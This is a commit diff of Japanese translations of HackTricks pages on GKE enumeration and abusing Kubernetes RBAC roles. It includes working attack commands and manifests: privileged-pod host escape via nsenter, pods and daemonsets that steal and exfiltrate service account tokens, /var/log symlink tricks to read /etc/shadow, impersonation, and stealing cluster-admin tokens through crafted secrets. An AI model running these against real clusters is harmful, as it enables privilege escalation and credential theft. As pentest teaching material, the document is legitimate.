Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-rol

This commit is contained in:
Translator
2026-07-03 22:56:49 +00:00
parent 408c021b37
commit 950522da28
10 changed files with 815 additions and 522 deletions
@@ -1,10 +1,10 @@
# GCP - コンテナとGKEの列挙
# GCP - Containers & GKE Enum
{{#include ../../../banners/hacktricks-training.md}}
## コンテナ
## Containers
GCPのコンテナでは、GCPが提供するほとんどのコンテナベースのサービスを見つけることができます。ここでは、最も一般的なものを列挙する方法を示します
GCP containersでは、GCPが提供するコンテナベースのサービスのほとんどを見つけることができます。ここでは、最も一般的なものを列挙する方法を見ていきます:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -22,17 +22,17 @@ sudo docker login -u oauth2accesstoken -p $(gcloud auth print-access-token) http
## where HOSTNAME is gcr.io, us.gcr.io, eu.gcr.io, or asia.gcr.io.
sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### プライベートエスカレーション
### Privesc
のページでは、**コンテナの権限を悪用して特権を昇格させる方法**を確認できます
以下のページでは、**container の権限を悪用して権限昇格する**方法を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
## ノードプール
## Node Pools
これらは、Kubernetesクラスターを形成するマシン(ノード)のプールです。
これらは、kubernetes cluster を形成する machines (nodes) の pool です。
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
```
## Kubernetes
Kubernetesとは何かについての情報は、こちらのページを確認してください
Kubernetes については、こちらのページを確認してください:
{{#ref}}
../../kubernetes-security/
{{#endref}}
まず、プロジェクト内にKubernetesクラスターが存在するかどうかを確認できます。
まず、プロジェクト内に Kubernetes クラスターが存在するかどうかを確認できます。
```
gcloud container clusters list
```
クラスターがある場合、`gcloud`を使用して`~/.kube/config`ファイルを自動的に構成できます。このファイルは、K8sクラスターと対話するためのネイティブCLIである[kubectl](https://kubernetes.io/docs/reference/kubectl/overview/)を使用する際に、あなたを認証するために使用されます。このコマンドを試してください。
クラスターがある場合`gcloud``~/.kube/config` ファイルを自動で設定させることができます。このファイルは、K8s クラスターとやり取りするためのネイティブ CLI である [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) を使うときに、あなたを認証するために使用されます。このコマンドを試してください。
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
次に、生成された資格情報を確認するために `~/.kube/config` ファイルを見てください。このファイルは、アクティブな `gcloud` セッションが使用しているのと同じアイデンティティに基づいてアクセストークンを自動的に更新するために使用されます。もちろん、これには正しい権限が必要です。
Then, `~/.kube/config` ファイルを確認して、生成された credentials を見てください。このファイルは、現在の `gcloud` session が使用しているのと同じ identity に基づいて、access tokens を自動的に refresh するために使用されます。もちろん、これには正しい permissions が設定されている必要があります。
これが設定されると、クラスターの構成を取得するために次のコマンドを試すことができます。
これが設定されると、次の command を試して cluster configuration を取得できます。
```
kubectl cluster-info
```
`gcloud`を使用したコンテナについては[こちら](https://cloud.google.com/sdk/gcloud/reference/container/)で詳しく読むことができます。
`gcloud` については [here](https://cloud.google.com/sdk/gcloud/reference/container/) で詳しく読ます。
これはGCPでKubernetesを列挙するためのシンプルなスクリプトです: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
これは GCP で kubernetes を列挙するための簡単なスクリプトです: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### TLSブートストラップ特権昇格
### Current GKE identity and metadata checks
最初にこの特権昇格技術は**GKEクラスター内でのprivescを可能にし**、攻撃者が**完全にそれを侵害する**ことを許可しました
modern GKE clusters をレビューするときは、Google Cloud IAM permissions、Kubernetes RBAC、pod workload identity、node credentials を分けて考えてください。Google principal は多くの場合 `container.clusters.get` で cluster endpoint data を取得できますが、実際の Kubernetes requests はそれでも GKE/Kubernetes authorization と、private endpoints や authorized networks のような network restrictions を通過する必要があります
これは、GKEがメタデータ内に[TLSブートストラップ資格情報](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)を提供しており、**ポッドを侵害するだけで誰でもアクセス可能**であるためです。
Workload Identity Federation for GKE は、pods が Google Cloud APIs にアクセスするための推奨方法です。cluster に workload pool があるか、そして Kubernetes service accounts が IAM principals として直接マッピングされているか、または IAM service accounts を impersonate することを許可されているかを確認してください:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
使用される技術は以下の投稿で説明されています:
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Service account に `iam.gke.io/gcp-service-account` アノテーションがある場合、IAM service account policy を確認して、Kubernetes service account principals に対する `roles/iam.workloadIdentityUser` の付与を調べてください。あわせて、IAM allow policies で direct workload identity principals や broad principal sets が使われていないかも確認してください。
Metadata へのアクセスは、cluster mode、node pool configuration、そして workload settings に依存します。すべての pod が node service account を盗めると決めつけないでください。Workload Identity が有効な環境では、通常の pod は GKE metadata server を使って、自分の Kubernetes service account 用の workload identity を取得する必要があります。node compromise、いくつかの Standard 構成での `hostNetwork` pods、そして legacy node metadata exposure によって blast radius は変わり得るため、実際の node pool metadata mode、node service account、OAuth scopes、そして pod placement を確認してください。
### TLS Boostrap Privilege Escalation
当初、この privilege escalation technique は **GKE cluster 内で privesc** することを可能にし、結果として攻撃者が **完全に compromise できる** ようにしていました。
これは、GKE が metadata に [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) を提供しており、それが **pod を compromise するだけで誰でもアクセス可能** だったためです。
使われた technique は以下の投稿で説明されています:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
このプロセスを自動化するために作成されたツールがあります: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
また、この process を自動化するために次の tool が作られました: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
しかし、この技術は**メタデータ資格情報を使用することで**、**新しいノードのCSR**(証明書署名要求)を**生成することが可能であり**、それが**自動的に承認されていた**という事実を悪用していました。\
私のテストでは、**れらの要求がもはや自動的に承認されない**ことを確認したので、この技術がまだ有効かどうかは不明です
ただし、この technique は **metadata credentials を使って** **新しい node** のための CSR (Certificate Signing Request) を生成でき、それが **自動承認** されることを悪用していました。\
私のテストでは、**れらの request はもう自動承認されない** ことを確認したので、この technique がまだ有効かどうかは分かりません
### Kubelet APIの秘密 <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
[**この投稿**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/)では、GKE内のポッドからアクセス可能なKubelet APIアドレスが発見され、実行中のポッドの詳細が提供されていることが明らかになりました:
[**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) では、GKE の pod 内からアクセス可能な Kubelet API address が発見され、実行中の pod の詳細が得られることが判明しました:
```
curl -v -k http://10.124.200.1:10255/pods
```
API**リソース変更することを許可していなくても**、レスポンス内に**機密情報**を見つけることができる可能性があります。エンドポイント/pods[**Kiterunner**](https://github.com/assetnote/kiterunner)を使用して見つかりました。
API**リソース変更を許可していなくても**、レスポンス内に **機密情報** が見つかる可能性があります。エンドポイント /pods[**Kiterunner**](https://github.com/assetnote/kiterunner) を使って発見されました。
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,22 +1,23 @@
# Abusing Roles/ClusterRoles in Kubernetes
# KubernetesにおけるRoles/ClusterRolesの悪用
{{#include ../../../banners/hacktricks-training.md}}
ここでは、潜在的に危険な Roles および ClusterRoles の設定をいくつか紹介します。`kubectl api-resources` でサポートされているすべてのリソースを取得できることを忘れないでください。
ここでは、潜在的に危険なRolesClusterRolesの設定を見つけられます。\
`kubectl api-resources` で、サポートされているすべてのリソースを確認できることを覚えておいてください。
## **Privilege Escalation**
## **権限昇格**
こで言う「Privilege Escalation」は、現在持っているものとは異なる特権を持つクラスター内の別の principalkubernetes cluster 内または外部のクラウドへの)にアクセスする技術を指します。Kubernetes では、権限昇格させる主な手法が基本的に**4つ**あります:
れは、すでに持っているものとは異なる権限で、クラスター内の**別の主体へのアクセス**を取得する技術を指します(kubernetesクラスター内、または外部cloudへのアクセス)。Kubernetesでは、権限昇格には基本的に次の**4つの主な手法**あります:
- より高い権を持つ他の user/groups/SAs**impersonate** できること(kubernetes cluster 内や外部クラウドで)
- より高い権を持つ SAs を **find or attach** できるような **create/patch/exec pods** を作成できること(kubernetes cluster 内や外部クラウドで)
- SAs のトークンが secrets として保存されているため、**read secrets** できること
- コンテナから **escape to the node** できること。ノード上で動作するコンテナのすべての secrets、ノードの認証情報、および(存在する場合は)ノードが動作しているクラウド内でのノードの権限を盗むことができます
- 触れておくべきもう一つの手法として、pod 内で **run port-forward** できる能力がありこれによりその pod 内の興味深いリソースへアクセスできる可能性があります。
- kubernetesクラスター内、または外部cloudに対して、より高い権を持つ他のuser/groups/SAs**impersonate**できる
- kubernetesクラスター内、または外部cloudに対して、より高い権を持つSA**find or attach**できる **create/patch/exec pods** ができる
- SAのtokensはsecretsとして保存されるため、**secretsをread**できる
- containerからnodeへ**escape**できると、そのnode上で動作しているすべてのcontainerのsecrets、nodeのcredentials、そして(存在する場合)そのcloud内でのnodeの権限を盗める
- 触れておくべき5つ目の手法として、pod内で**port-forwardをrun**できることがあります。これによりそのpod内の興味深いリソースへアクセスできる可能性があります。
### Access Any Resource or Verb (Wildcard)
### 任意のResourceまたはVerbにアクセスする(Wildcard
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
**wildcard (\*) は、あらゆるresourceに対してあらゆるverbの権限を与えます**。これはadminが使うものです。ClusterRole内では、これはattackerがcluster内の任意のnamespaceを悪用できることを意味します
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -28,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### 特定の動詞で任意のリソースにアクセス
### 特定の verb で任意の Resource に Access する
In RBAC, certain permissions pose significant risks:
RBAC では、特定の permissions が大きなリスクをもたらします。
1. **`create`:** 任意のクラスタリソースを作成する権限を付与し、権限昇格のリスクを招く
2. **`list`:** すべてのリソースを列挙できるため、機密データのleakingにつながる可能性があ
3. **`get`:** サービスアカウントからシークレットにアクセスできるようになり、セキュリティ上の脅威となる
1. **`create`:** 任意の cluster resource を作成する ability を与え、privilege escalation のリスクがあります
2. **`list`:** すべての resources の listing を許可し、機密 data を leak する可能性があります
3. **`get`:** service accounts から secrets に access することを許可し、security threat となります
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -46,11 +47,11 @@ rules:
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
### Pod Create - Tokenを盗む
pod を作成する権限を持つ攻撃者は、特権のある Service Account を pod に割り当ててそのトークンを盗み、Service Account としてなりすますことができます。結果的に権限を昇格させることになります
podを作成する権限を持つatackerは、privilegedなService Accountをpodにアタッチし、そのtokenを盗んでService Accountをimpersonateできる。実質的に、その権限へ privilege escalation できる
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
`bootstrap-signer` service account のtokenを盗んで attacker に送信するpodの例:
```yaml
apiVersion: v1
kind: Pod
@@ -73,12 +74,12 @@ hostNetwork: true
```
### Pod Create & Escape
以下は、コンテナが持ちるすべての権限を示します:
以下は、container が持ちるすべての権限を示します:
- **Privileged access** (保護の無効化 capabilities の設定)
- **Disable namespaces hostIPC and hostPid** (権限昇格に利用される可能性がある)
- **Disable hostNetwork** namespace (ノードの cloud privileges を奪うアクセスやネットワークへのより広いアクセスを可能にする)
- **Mount hosts / inside the container** (ホストの / をコンテナ内にマウントする)
- **Privileged access** (保護の無効化 capabilities の設定)
- **hostIPC hostPid の namespace を無効化** すると、権限昇格に役立つ可能性があります
- **hostNetwork** namespace を無効化すると、node の cloud 権限を盗みやすくなり、network へのアクセスも向上します
- **container 内に hosts / を mount する**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -114,11 +115,11 @@ volumes:
hostPath:
path: /
```
次の内容で pod を作成する:
podを次のように作成します:
```bash
kubectl --token $token create -f mount_root.yaml
```
このワンライナーは [this tweet](https://twitter.com/mauilion/status/1129468485480751104) からのもので、いくつか追加を加えています:
[tthis tweet](https://twitter.com/mauilion/status/1129468485480751104) からのワンライナーで、いくつか追加あり:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
@@ -137,10 +138,10 @@ You probably want to be **stealthier**, in the following pages you can see what
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod の作成 — クラウドへ移動
### Pod Create - Move to cloud
もし **pod** を **create**(オプションで **service account**)できる場合、**pod または service account に cloud roles を割り当て**てアクセスすることで、**クラウド環境の権限を取得**できる可能性があります。\
さらに、**host network namespace を持つ pod** を作成できれば、**node インスタンスの IAM ロールを steal** することができます。
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
For more information check:
@@ -150,7 +151,7 @@ pod-escape-privileges.md
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
これらの権限を悪用して **new pod を create** し、前述の例のように権限を昇格させることが可能です。
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
@@ -190,32 +191,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`** は kubernetes のリソースで、**pod 内のシェルでコマンドを実行するため**に使われます。これにより、**コンテナ内でコマンドを実行したり、シェルを取得したり**することができます。
**`pods/exec`** は kubernetes における、**pod 内の shell でコマンドを実行する**ための resource です。これにより、**container 内でコマンドを実行したり、shell に入ったり**できます。
したがって、**pod に入り込み SA のトークンを盗む**ことや、特権 pod に入って node に脱出し、node 上のすべての pod のトークンを盗んで (ab)use the node が可能です:
そのため、**pod に入り SA の token を盗む**ことが可能であり、また privileged pod に入って node へ escape し、node 上の pod のすべての token を盗んで node を (ab)use することもできます:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> デフォルトではコマンドは pod の最初のコンテナで実行されます。pod 内のすべてのコンテナ名を `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` で取得し、実行したいコンテナを `kubectl exec -it <pod_name> -c <container_name> -- sh` で指定してください
> デフォルトではコマンドは pod の最初の container で実行される。`kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` で **container 内のすべての pod** を取得し、`kubectl exec -it <pod_name> -c <container_name> -- sh` で実行したい **container を指定**する
もし distroless container の場合は、コンテナの情報を取得するためにシェルの組み込みコマンド(shell builtins)を試すか、`kubectl cp </path/local/file> <podname>:</path/in/container>` を使って **busybox** のようなツールをアップロードすることを試してみてください
distroless container の場合は、**shell builtins** を使って container の情報を取得するか、**busybox** のような自分のツールを次のようにアップロードしてみるとよい: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**
### port-forward
この権限は、**ローカルの1つのポートを指定した pod 内の1つのポートに転送する**ことを許可します。これは pod 内で動作するアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者これを悪用して pod 内の興味深い(like DBs)や脆弱なアプリケーションwebs?)にアクセスする可能性があります:
この権限は、**1 つの local port を指定した pod 内の 1 つの port に転送する**ことを許可す。これは pod 内で動作している application を簡単に debug できるようにするためのものが、攻撃者これを悪用してpod 内の興味深い(DB など)または脆弱な applicationwebs?)にアクセスできるかもしれない:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### ホストが書き込み可能な /var/log/ Escape
### Hosts Writable /var/log/ Escape
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、もし **hosts `/var/log/` directory mounted** がある pod にアクセスまたは作成できれば、**escape from the container** が可能です.\
これは主に、コンテナのログを取得しようとする際(`kubectl logs <pod>` を使用して)、**Kube-API tries to get the logs** が Kubelet サービスの `/logs/` エンドポイントを通してポッドの `0.log` ファイルを要求するためです.\
Kubelet サービスは `/logs/` エンドポイントを公開しており、これは基本的にコンテナの `/var/log` ファイルシステムを **exposing the `/var/log` filesystem of the container** しています。
[**この調査で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**hosts `/var/log/` ディレクトリがマウントされた** pod にアクセスまたは作成できる場合、**container から escape** できます。\
これは基本的に、**Kube-API が container の logs を取得しようとすると** (`kubectl logs <pod>` を使用)、**Kubelet** service の `/logs/` endpoint を使って pod の **`0.log`** file を要求するためです\
Kubelet service は `/logs/` endpoint を公開しており、これは要するに **container の `/var/log` filesystem を公開している**だけです。
したがって、コンテナの **access to write in the /var/log/ folder** を持つ攻撃者は、この挙動を次の2つの方法で悪用できます:
したがって、container の **/var/log/** folder に書き込める attacker は、この挙動を 2 つの方法で abuse できます:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
- container の `0.log` file(通常は `/var/logs/pods/namespace_pod_uid/container/0.log` にあります)を、たとえば **`/etc/shadow` への symlink** に変更する。すると、以下のようにして hosts shadow file を exfiltrate できるようになります:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -223,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- 攻撃者が任意のプリンシパルを制御しており、**`nodes/log` を読む権限**を持っている場合、`/host-mounted/var/log/sym` `/` への **symlink** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスするとホストのルートファイルシステムが一覧表示されます**(symlink を変更することでファイルへアクセスできます)。
- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -235,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**ラボと自動化された exploit は以下で確認できます** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### readOnly 保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### readOnly protection の回避 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
もし `CAP_SYS_ADMIN`(高い特権)が利用可能であれば、フォルダを単に rw として remount できます:
もし運よく、非常に高権限な capability `CAP_SYS_ADMIN` が使えるなら、フォルダを rw remount するだけでよいです:
```bash
mount -o rw,remount /hostlogs/
```
#### hostPath readOnly 保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### hostPath readOnly 保護を回避する <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) に記載されているように、保護をバイパスすることが可能です:
[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) で述べられているように、この保護を回避することが可能です:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
これは、前のようなエスケープを防ぐために、hostPath mount を使う代わりに PersistentVolume と PersistentVolumeClaim を使用して、ホストのフォルダをコンテナに書き込み可能な状態でマウントすることを意図したものです:
これは、前のもののような escape を防ぐことを意図していたが、hostPath mount 代わりに PersistentVolume と PersistentVolumeClaim を使って、コンテナ内に hosts フォルダを writable access 付きで mount するものだった:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -297,11 +298,11 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **特権アカウントのなりすまし**
### **特権アカウントの impersonating**
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限があれば、攻撃者は特権アカウントになりすますことができます
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限があれば、攻撃者は特権アカウントを impersonate できる
ユーザーをなりすますには `kubectl` コマンドでパラメータ `--as=<username>` を使用し、グループをなりすますには `--as-group=<group>` を使用します:
`kubectl` コマンドで `--as=<username>` パラメータを使ってユーザーを impersonate するか、`--as-group=<group>` でグループを impersonate するだけでよい:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
@@ -316,14 +317,15 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
この権限により、REST API endpoint にアクセスして **list secrets によって attacker が実際に secrets を読み取れる** 可能性があります:
**secrets を list する** 権限は、REST API エンドポイントにアクセスして、攻撃者が実際に secrets を read できるようにしてしまう可能性があります:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Secrets の作成と読み取り
### Secretsの作成と読み取り
serviceaccount tokens を格納する、タイプが **kubernetes.io/service-account-token** の特別な Kubernetes secret があります。
もし secrets を作成および読み取りする権限があり、かつ対象の serviceaccount の名前がわかっている場合、以下のように secret を作成して、その中から被害者の serviceaccount トークンを盗むことができます:
**kubernetes.io/service-account-token** 型の特別な Kubernetes Secret には、service account tokens が保存されます。最新の Kubernetes では、各 ServiceAccount ごとに長期有効な Secret を自動作成しません。通常の workload path は、projected された bound TokenRequest tokens です。ただし、手動で作成された service account token Secrets はまだサポートされており、upgrade 済みまたは legacy の clusters には、今でも長期有効な token Secrets が残っている場合があります。現在の clusters では、未使用の自動生成 legacy token Secrets を invalid にし、最終的に clean up して、`kubernetes.io/legacy-token-invalid-since` や `kubernetes.io/legacy-token-last-used` のような labels を残すこともできます。
もし secrets を create して read する権限があり、さらに serviceaccount の名前も知っているなら、次のように secret を作成して、そこから victim serviceaccount の token を steal できます:
```yaml
apiVersion: v1
kind: Secret
@@ -334,7 +336,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
exploitation の例:
Example exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -382,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
注意してください。特定のnamespaceで secrets を作成・読み取りできる場合、被害者の serviceaccount も同じ namespace に存在している必要があります。
### Reading a secret brute-forcing token IDs
読み取り権限を持つtokenを所持する攻撃者は、より広範な _**listing secrets**_ 権限とは異なり、そのsecretを利用するために正確な名前が必要ですが、それでも脆弱性は残っています。システム内のデフォルトのserviceaccountは列挙可能で、それぞれsecret紐づいています。これらのsecretは名前の構造が決まっており、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)が続きます。詳細は[source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)を参照してください
token の read 権限を持つ attacker は、_**listing secrets**_ 権限のように広範ではないため、それを使うには secret の正確な名前が必要ですが、それでも vulnerability はあります。システム内の default service accounts は列挙で、それぞれsecret紐づいています。これらの secret には、[source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) に従って、静的な prefix の後ろにランダムな 5 文字の英数字 token(特定の文字を除く)という name structure があります
このトークンは完全な英数字範囲ではなく、限定された27文字セット(`bcdfghjklmnpqrstvwxz2456789`から生成されます。この制により組み合わせ総数は14,348,90727^5)にまで減少します。したがって、攻撃者は数時間でブルートフォース攻撃によりトークンを推測できる可能性があり、機密性の高いservice accountアクセスして権限昇格を引き起こす恐れがあります。
token はフルの英数字範囲ではなく、限定された 27 文字の set (`bcdfghjklmnpqrstvwxz2456789`) から生成されます。この制により、可能な組み合わせ総数は 14,348,90727^5)に減ります。そのため attacker は brute-force attack を実行して、数時間で token を特定できる可能性があり、機密性の高い service accounts にアクセスして privilege escalation につながることがあります。
### EncrpytionConfiguration の平文
### EncrpytionConfiguration in clear text
この種のオブジェクト内で、at rest のデータを暗号化するための平文キーを見つけることが可能です。例えば:
この type of object では、at rest の data を encrypt するための clear text keys を見つけられる可能性があります。たとえば:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,13 +452,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### 証明書署名リクエスト
### Certificate Signing Requests
リソース`certificatesigningrequests`(または少なくとも`certificatesigningrequests/nodeClient`)に対して**`create`**の動詞がある場合、**new node**の新しいCeSR**create**できます。
リソース `certificatesigningrequests` で **`create`** の verbs を持っている場合(または少なくとも `certificatesigningrequests/nodeClient` にある場合)。あなたは **new node** の新しい CeSR**create** できます。
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、その場合は追加の権限は**必要ありません**。そうでない場合はリクエストを承認できる必要があり、つまり`certificatesigningrequests/approval`での`update`と、resourceName`<signerNameDomain>/<signerNamePath>`または`<signerNameDomain>/*`である`signers`に対する`approve`が必要になります。
[documentation ではこれらの requests を auto approve できるとされています](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、そのためその場合は **extra permissions は不要**です。そうでない場合は、request を approve できる必要があり、それは `certificatesigningrequests/approval`update、さらに `signers` で resourceName `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` に対する `approve` を意味します。
必要な権限をすべて含むロールの**例**は:
必要なすべての permissions を持つ **role の例** は:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,19 +489,19 @@ resourceNames:
verbs:
- approve
```
つまり、新しい node CSR が承認されると、ノードの特別な権限を **abuse** して **steal secrets** や **escalate privileges** を行うことができます。
新しい node CSR が承認されたので、nodes の特別な権限を**悪用**して**secrets を盗み**、**privileges を昇格**できます。
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
[**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) では、GKE K8s TLS Bootstrap の設定が**automatic signing**で構成されており、これを悪用して新しい K8s Node の credentials を生成し、その後それらを悪用して secrets を盗むことで privileges を昇格しています。\
もし**前述の privileges を持っていれば、同じことができます**。なお、最初の例では、新しい node がコンテナ内の secrets にアクセスするのを妨げるエラーを回避しています。なぜなら、**node はその node にマウントされたコンテナの secrets にしかアクセスできない**からです。
れを回避する方法は単純で、興味深い secrets がマウントされているコンテナの node 名に対して **create a node credentials for the node name where the container with the interesting secrets is mounted** を作成することだけです(方法は最初の post を参照してください):
の回避方法は、単に**興味のある secrets を持つコンテナがマウントされている node 名 node credentials を作成する**ことです(ただし、やり方は最初の post を確認してください)
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
EKSAWS 上にある必要があります)クラスターの kube-system namespace 内の **`configmaps`** を変更できるプリンシパルは、**aws-auth** configmap を上書きすることでクラスタ管理者権限を取得できます。\
必要な操作は **`update`** と **`patch`**、configmap が作成されていない場合は **`create`** です:
